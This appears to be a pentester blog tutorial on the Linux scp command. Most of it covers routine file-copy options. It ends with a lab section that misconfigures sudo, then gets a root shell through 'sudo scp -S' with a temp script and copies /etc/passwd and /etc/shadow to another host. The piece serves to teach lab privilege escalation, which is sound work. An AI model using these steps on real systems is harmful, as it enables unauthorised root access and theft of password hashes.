

Hacking Articles

Raj Chandel's Blog



Menu

[Home](#) » [Privilege Escalation](#) » [Linux for Pentester: scp Privilege Escalation](#)

Privilege Escalation

Linux for Pentester: scp Privilege Escalation

August 9, 2019 By Raj Chandel

In this article, we are going to introduce another most helpful Linux command i.e. “scp” which is an abbreviated form of “**secure copy**”. The SCP command allows secure transferring of files between the local host and the remote host or between two remote hosts. So after knowing this fact we will check now how we can take advantage of this utility in privilege Escalation.

NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticize any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”

Table of Content

Introduction to scp

Major Operation performed using scp

- Copy a file from the local system to the remote machine
- Copy a file from a remote system to the local machine
- Provide modification time and date
- To display detailed information of the SCP process

- Copying file inside directory recursively
- To specify a specific port

Exploiting scp

- Abusing Sudo right

Introduction to scp

Scp is a built-in command in Linux which is used to SCP is used to copy file(s) between servers in a secure way or in other words we can also say that it is a command-line utility that allows you to securely copy files and directories between two locations. This possesses the same authentication and safety as it is used in the Secure Shell (SSH) protocol. SCP is also known for its effortlessness, security and pre-installed accessibility.

Major Operation performed using scp

In this tutorial, we will show you how to use the scp command with detailed explanations of the most common scp options. For this, we will start from its help command as per below image.

```
scp --help
```

After checking for its help command now we will proceed to its major operation one by one.

Copy a file from local system to remote machine: As we know the scp command tends the user to securely copy the file or directory from local to host connection or vice-versa so, by taking the help of this fact now we will copy a file whose name as “**scan.xml**” which is stored in my local system. For doing this we will frame command as below:

```
Syntax: scp [file name] remote_username@<remote-IP>:/path to copy  
scp scan.xml aarti@192.168.1.31:/home/aarti/Desktop
```

In the above command “scan.xml” is the file name that I want to copy, “aarti” is a remote user name, “192.168.1.31” is remote machine IP and ” /home/aarti/Desktop” is the path of the remote machine where I want to copy this file.

Once we have done with our command then it will be prompted to enter the user password and the transfer process will start.

Note: Omitting the filename from the destination location copies the file with the original name. If you want to save the file under a different name you need to specify a new name too.

```
root@kali:~# scp --help
unknown option -- -
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
        [-l limit] [-o ssh_option] [-P port] [-S program] source ... target
root@kali:~# scp scan.xml aarti@192.168.1.31:/home/aarti/Desktop
aarti@192.168.1.31's password:
scan.xml
100% 26KB 700.5KB/s 00:00
root@kali:~#
```

Hence on following above syntax, our desired file has been successfully copied to a destination location on the remote system as shown below.

```
aarti@ubuntu:~/Desktop$ ls -al
total 36
drwxr-xr-x  3 aarti aarti  4096 Aug  9 08:50 .
drwxr-xr-x 18 aarti aarti  4096 Aug  9 08:45 ..
-rw-r--r--  1 aarti aarti 17941 Aug  9 08:46 2.png
drwxrwxr-x  8 aarti aarti  4096 Aug  9 08:43 articles
-rw-r--r--  1 aarti aarti    7 Aug  9 08:50 demo.txt
aarti@ubuntu:~/Desktop$ ls -al
total 64
drwxr-xr-x  3 aarti aarti  4096 Aug  9 08:52 .
drwxr-xr-x 18 aarti aarti  4096 Aug  9 08:45 ..
-rw-r--r--  1 aarti aarti 17941 Aug  9 08:46 2.png
drwxrwxr-x  8 aarti aarti  4096 Aug  9 08:43 articles
-rw-r--r--  1 aarti aarti    7 Aug  9 08:50 demo.txt
-rw-r--r--  1 aarti aarti 26209 Aug  9 08:52 scan.xml
aarti@ubuntu:~/Desktop$
```

Copy a file from the remote system to the local machine: Alike above we can also copy a file or directory from its remote machine to the local system. For grabbing this functionality follow the below command.

```
Syntax: scp remote_username@<remote-IP>:[file name] /path of destination dir
scp aarti@192.168.1.31:/home/aarti/Desktop/demo.txt /root/Desktop
```

On framing above command, we will again be prompted to enter the user password and the transfer process will start.

```
ls -al
```

Hence our desired file has been successfully copied to a destination location on the local system from the remote system.

```
root@kali:~/Desktop# ls -al
total 104
drwxr-xr-x  4 root root  4096 Aug  9 11:53 .
drwxr-xr-x 32 root root  4096 Aug  9 11:34 ..
-rw-r--r--  1 root root 40273 Aug  9 11:53 2.1.png
-rw-r--r--  1 root root 18058 Aug  9 11:40 4.png
drwxr-xr-x  2 root root  4096 Sep  3 2018 rabbit
root@kali:~/Desktop# scp aarti@192.168.1.31:/home/aarti/Desktop/demo.txt /root/Desktop
aarti@192.168.1.31's password:
demo.txt                                     100%   7    6.6KB/s   00:00
root@kali:~/Desktop# ls -al
total 108
drwxr-xr-x  4 root root  4096 Aug  9 11:56 .
drwxr-xr-x 32 root root  4096 Aug  9 11:34 ..
-rw-r--r--  1 root root 40273 Aug  9 11:53 2.1.png
-rw-r--r--  1 root root 18058 Aug  9 11:40 4.png
-rw-r--r--  1 root root    7 Aug  9 11:56 demo.txt
drwxr-xr-x  2 root root  4096 Sep  3 2018 rabbit
-rw-r--r--  1 root root 26209 Aug  7 10:42 scan.xml
drwxr-xr-x 11 root root  4096 Aug  9 11:37 tools
root@kali:~/Desktop#
```

Provide modification time and date: Many times, you might be noticed that by default the time and date of the copied file is used to be set for current time and date.

As in below image you can notice that our “demo.txt” file showing its “current date and time” when it has been copied.

```
ls -la /root/Desktop/demo.txt
```

```
root@kali:~# ls -la /root/Desktop/demo.txt
-rwxr-xr-x 1 root root 363 Aug  7 10:46 /root/Desktop/demo.txt
root@kali:~#
```

But in the below image, I have shown the original date and time i.e. when the file had created.

```
ls -la demo.txt
```

```
arti@ubuntu:~/Desktop$ ls -la demo.txt
-rwxr-xr-x 1 root root 363 Jul 12 01:41 demo.txt
arti@ubuntu:~/Desktop$
```

So if we want to make a modification of our copied file as its original details then we will use the “-p” option for this. After adding this argument our file will be copied with its original date and time instead of copying with current details.

```
scp -p aarti@192.168.1.31:/home/aarti/Desktop/demo.txt /root/Desktop
ls -la /root/Desktop/demo.txt
```

```
root@kali:~# scp -p aarti@192.168.1.31:/home/aarti/Desktop/demo.txt /root/Desktop
aarti@192.168.1.31's password:
demo.txt
root@kali:~# ls -la /root/Desktop/demo.txt
-rwxr-xr-x 1 root root 363 Jul 12 04:41 /root/Desktop/demo.txt
root@kali:~#
```

To display detailed information of the SCP process: As in all above screenshot you can see that after you enter the password for copy the file there is no information about the SCP process but the only thing is it will prompt again once the process has been completed. So, if you want the detailed information of the SCP process, then you can use the “-v” parameter for this.

```
scp -p -v aarti@192.168.1.31:/home/aarti/Desktop/demo.txt /root/Desktop
```

```
root@kali:~# scp -p -v aarti@192.168.1.31:/home/aarti/Desktop/demo.txt /root/Desktop
executing: program /usr/bin/ssh host 192.168.1.31, user aarti, command scp -v -p -f /home
OpenSSH_7.9p1 Debian-1, OpenSSL 1.1.1 11 Sep 2018
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug1: Connecting to 192.168.1.31 [192.168.1.31] port 22.
debug1: Connection established.
debug1: identity file /root/.ssh/id_rsa type -1
debug1: identity file /root/.ssh/id_rsa-cert type -1
debug1: identity file /root/.ssh/id_dsa type -1
debug1: identity file /root/.ssh/id_dsa-cert type -1
debug1: identity file /root/.ssh/id_ecdsa type -1
debug1: identity file /root/.ssh/id_ecdsa-cert type -1
debug1: identity file /root/.ssh/id_ed25519 type -1
```

Copying the file inside directory recursively: Sometimes we need to copy directory and all files/directories inside it. It will be better if we can do it in 1 command. SCP support that scenario using the “-r” parameter.

```
scp -r fluxion/ aarti@192.168.1.31: /home/aarti/Desktop
```

In the below image, I have copied a file “fluxion” recursively.

Note: The speed for the process of copying any file is totally based upon its data length but we can increase this speed by using “-C” option which results faster for copy the file.

```
root@kali:~# scp -r fluxion/ aarti@192.168.1.31:/home/aarti/Desktop ↵
aarti@192.168.1.31's password:
config 100%
description 100%
exclude 100%
pack-c797f8d2a87c01510fe2d12719a3ec5343b42cba.idx 100%
pack-c797f8d2a87c01510fe2d12719a3ec5343b42cba.pack 100%
packed-refs 100%
HEAD 100%
HEAD 100%
master 100%
HEAD 100%
index 100%
master 100%
HEAD 100%
pre-commit.sample 100%
prepare-commit-msg.sample 100%
pre-applypatch.sample 100%
applypatch-msg.sample 100%
post-update.sample 100%
pre-receive.sample 100%
fsmonitor-watchman.sample 100%
pre-push.sample 100%
```

Here in the below image, we have successfully copied fluxion.

```
aarti@ubuntu:~/Desktop$ ls -al ↵
total 64
drwxr-xr-x  3 aarti aarti  4096 Aug  9 08:52 .
drwxr-xr-x 18 aarti aarti  4096 Aug  9 08:45 ..
-rw-r--r--  1 aarti aarti 17941 Aug  9 08:46 2.png
drwxrwxr-x  8 aarti aarti  4096 Aug  9 08:43 articles
-rw-r--r--  1 aarti aarti    7 Aug  9 08:50 demo.txt
-rw-r--r--  1 aarti aarti 26209 Aug  9 08:52 scan.xml
aarti@ubuntu:~/Desktop$ ls -al ↵
total 84
drwxr-xr-x  4 aarti aarti  4096 Aug  9 08:58 .
drwxr-xr-x 18 aarti aarti  4096 Aug  9 08:45 ..
-rw-r--r--  1 aarti aarti 34093 Aug  9 08:54 2.png
drwxrwxr-x  7 aarti aarti  4096 Aug  9 08:58 articles
-rw-r--r--  1 aarti aarti    7 Aug  9 08:50 demo.txt
drwxr-xr-x 11 aarti aarti  4096 Aug  7 07:57 fluxion
-rw-r--r--  1 aarti aarti 26209 Aug  9 08:52 scan.xml
aarti@ubuntu:~/Desktop$
```

To specify a specific port: Usually, SCP uses port 22 as a default port. But for security reason, if you wish to change the port into another port then you can use the “-P” argument for this task.

For example, we are going to use port 2222. Then the command needs to be

```
scp -P 2222 scan.xml aarti@193.168.1.31: /home/aarti/Desktop
```

A terminal window screenshot showing a command being executed. The prompt is 'root@kali:~#'. The command is 'scp -P 2222 scan.xml aarti@192.168.1.31:/home/aarti/Desktop'. The '-P 2222' part is highlighted with a red box. The output shows 'aarti@192.168.1.31's password:' followed by 'scan.xml' on the next line. The prompt then returns to 'root@kali:~#'. There is a green arrow icon on the right side of the terminal output.

```
root@kali:~# scp -P 2222 scan.xml aarti@192.168.1.31:/home/aarti/Desktop  
aarti@192.168.1.31's password:  
scan.xml  
root@kali:~#
```

Lab setups for Sudo Privilege Escalation

Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Now we will start to perform privilege escalation for “scp”. For doing so we need to set up our lab of scp command with administrative rights.

After that, we will give Sudo permission on scp, so that a local user can take the privilege of scp as the root user.

Hence type following for enabling SUID:

```
which scp
```

It can be clearly understood by the below image in which I have created a local user (test) and will add sudo right for scp program in the /sudoers file and type following as user Privilege specification.

```
test All=(root) NOPASSWD: /usr/bin/scp
```

```
File Edit View Search Terminal Help
GNU nano 2.9.8 /etc/sudoers.tmp Modified

root    ALL=(ALL:ALL) ALL
test    ALL=(root) NOPASSWD: /usr/bin/scp

# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#include_dir /etc/sudoers.d
```

First Method

Then we will look for sudo right of “test” user (if given) and found that user “test” can execute the scp command as “root” without a password.

```
sudo -l
```

On framing below command, it will direct us on root shell as shown below and we will successfully accomplish our task.

```
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
```



```

test@ubuntu:~$ sudo -l
Matching Defaults entries for test on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin

User test may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/scp
test@ubuntu:~$ TF=$(mktemp)
test@ubuntu:~$ echo 'sh 0<&2 1>&2' > $TF
test@ubuntu:~$ chmod +x "$TF"
test@ubuntu:~$ sudo scp -S $TF x y:
# id
uid=0(root) gid=0(root) groups=0(root)
#

```

Second Method

For proceeding further in our task of privilege escalation by the help of the second method very first we need to check the status for ssh service which should be active during our entire process (Kali Linux).

```
service ssh status
```

```

root@kali:~# service ssh status
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; disabled; vendor preset: enabled)
   Active: active (running) since Wed 2019-08-07 13:13:31 UTC; 1min 45s ago
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 2133 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
  Main PID: 2134 (sshd)
    Tasks: 1 (limit: 4692)
   Memory: 2.0M
   CGroup: /system.slice/ssh.service
           └─2134 /usr/sbin/sshd -D

Aug 07 13:13:31 kali systemd[1]: Starting OpenBSD Secure Shell server: sshd.
Aug 07 13:13:31 kali sshd[2134]: Server listening on 0.0.0.0 port 22.
Aug 07 13:13:31 kali sshd[2134]: Server listening on :: port 22.
Aug 07 13:13:31 kali systemd[1]: Started OpenBSD Secure Shell server: sshd.

```

Now I wish to copy passwd and shadow file of the host machine (Ubuntu) as per below image by the help of scp command.

```

sudo scp /etc/passwd komal@192.168.1.11:~/
sudo scp /etc/shadow komal@192.168.1.11:~/

```

On framing above command it will prompt to enter the user password so that the transfer process will start.

```
test@ubuntu:~$ sudo scp /etc/passwd komal@192.168.1.11:~/
komal@192.168.1.11's password:
passwd 100% 2782 3.1MB/s 00:00
test@ubuntu:~$ sudo scp /etc/shadow komal@192.168.1.11:~/
komal@192.168.1.11's password:
shadow 100% 1483 152.8KB/s 00:00
test@ubuntu:~$
```

Once you are done with this then you can check whether your file has successfully copied or not by framing below command.

```
head /home/komal/shadow
head /home/komal/passwd
```

Conclusion: Hence we have achieved our mission and successfully copied passwd and shadow file by the use of scp command.

```
root@kali:~# head /home/komal/shadow
root:!18082:0:99999:7:::
daemon:*:17821:0:99999:7:::
bin:*:17821:0:99999:7:::
sys:*:17821:0:99999:7:::
sync:*:17821:0:99999:7:::
games:*:17821:0:99999:7:::
man:*:17821:0:99999:7:::
lp:*:17821:0:99999:7:::
mail:*:17821:0:99999:7:::
news:*:17821:0:99999:7:::
root@kali:~# head /home/komal/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
root@kali:~#
```

Reference: <https://gtfobins.github.io/>

Author: Komal Singh is a Cyber Security Researcher and Technical Content Writer, she is completely enthusiastic pentester and Security Analyst at Ignite Technologies. Contact [Here](#)

[◀ PREVIOUS POST](#)[NEXT POST ▶](#)[Linux For Pentester: tmux Privilege Escalation](#)[Dradis: Reporting and Collaboration Tool](#)

2 thoughts on “Linux for Pentester: scp Privilege Escalation”

**Zuzavo**

August 11, 2019 at 10:14 am

Thanks for your work. Study in deep every day one of your posts, and in the meantime try to resolve a CTF challenge, is by far the best way to learn that I have find.

**BEAST**

August 22, 2021 at 6:59 pm

Can you update the latest SCP Privilege Escalation using custom suid binary

Comments are closed.

Join Our Training Program





Categories

Cryptography & Steganography

CTF Challenges

Cyber Forensics

Database Hacking

Footprinting

Hacking Tools

Kali Linux

Nmap

Others

Password Cracking

Penetration Testing

Pentest Lab Setup

Privilege Escalation

Red Teaming

Social Engineering Toolkit

Uncategorized

Website Hacking

Window Password Hacking

Wireless Hacking

Wireless Penetration Testing

Archives

Select Month



You may like

Linux Privilege Escalation: DirtyPipe (CVE 2022-0847)

March 9, 2022

Windows Privilege Escalation: PrintNightmare

February 19, 2022